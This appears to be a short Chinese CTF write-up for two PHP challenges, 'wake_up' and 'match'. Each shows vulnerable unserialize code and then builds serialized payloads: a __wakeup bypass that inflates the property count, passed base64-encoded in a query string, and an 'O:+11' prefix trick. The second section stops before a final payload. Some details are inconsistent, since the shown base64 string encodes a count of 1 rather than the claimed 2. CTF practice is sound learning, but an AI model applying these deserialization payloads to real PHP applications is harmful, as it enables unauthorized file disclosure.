GWHT

1.wake_up

// flag is in flag.php
highlight_file(__FILE__);
class FILE
{
    private $file = "fl4g.php";

    public function __construct($file)
    {
        $this->file = $file;
    }

    function __destruct(){
        echo highlight_file($this->file, true);
    }

    function __wakeup(){
        if ($this->file != 'fl4g.php'){
            $this->file = "flag.php";
        }
    }
}
if (isset($_GET['password'])) {
    $password = base64_decode($_GET['password']);
    unserialize($password);
}

绕过wakeup（CVE漏洞 ，当成员属性数目大于实际数目时可绕过wakeup）

// flag is in flag.php
highlight_file(__FILE__);
class FILE
{
    private $file = "fl4g.php";

    public function __construct($file)
    {
        $this->file = $file;
    }

    function __destruct(){
        echo highlight_file($this->file, true);
    }

    function __wakeup(){
        if ($this->file != 'fl4g.php'){
            $this->file = "flag.php";
        }
    }
}
$A=new FILE('flag.php');
$B=serialize($A);
$B = str_replace(':1:', ':2:',$B);
var_dump($B);
//输出O:4:"FILE":2:{s:10:"FILEfile";s:8:"flag.php";}

拿去base64加密得Tzo0OiJGSUxFIjoyOntzOjEwOiJGSUxFZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
构造playroad
?password=Tzo0OiJGSUxFIjoxOntzOjEwOiJGSUxFZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

2.match

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: 
";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

 $A = new FileHandler('fl4g.php');

$C = serialize($A);
$C = str_replace('O:11', 'O:+11',$C);
var_dump($C);//O:11:"FileHandler":3:{s:5:"*op";N;s:11:"*filename";N;s:10:"*content";N;}